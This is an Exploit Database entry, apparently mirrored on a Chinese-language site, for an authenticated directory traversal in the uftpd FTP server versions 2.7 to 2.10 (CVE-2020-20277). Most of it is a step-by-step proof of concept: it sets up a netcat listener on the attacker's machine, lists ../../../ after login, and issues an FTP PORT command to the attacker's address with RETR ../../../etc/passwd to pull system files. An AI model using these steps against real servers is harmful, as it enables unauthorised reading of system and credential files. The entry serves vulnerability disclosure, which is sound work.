uftpd 2.10 – Directory Traversal (Authenticated)

• Exploit Database
• 140 阅读

• 作者： Aaron Esau
  日期： 2022-08-02
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/51000/
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  # Exploit Title: uftpd 2.10 - Directory Traversal (Authenticated) # Google Dork: N/A # Exploit Author: Aaron Esau (arinerron) # Vendor Homepage: https://github.com/troglobit/uftpd # Software Link: https://github.com/troglobit/uftpd # Version: 2.7 to 2.10 # Tested on: Linux # CVE : CVE-2020-20277 # Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-20277 # Reference: https://arinerron.com/blog/posts/6 #Product: uftpd 2.7 to 2.10   #Proof-Of-Concept: 1-Arbitrary files could be read using directory traversal if the application is not running as root after authenticating. If the server has anonymous login enabled, it will be possible to read arbitrary files even without authentication.   #Steps 1-Setup nc listener on attacking machine on TCP port 1258 nc -lnvp 1258   2-Login to the FTP service   3-List files ftp> ls ../../../   3-Set attacker's IP address and retrieve files PORT 127,0,0,1,1,1002 RETR ../../../etc/passwd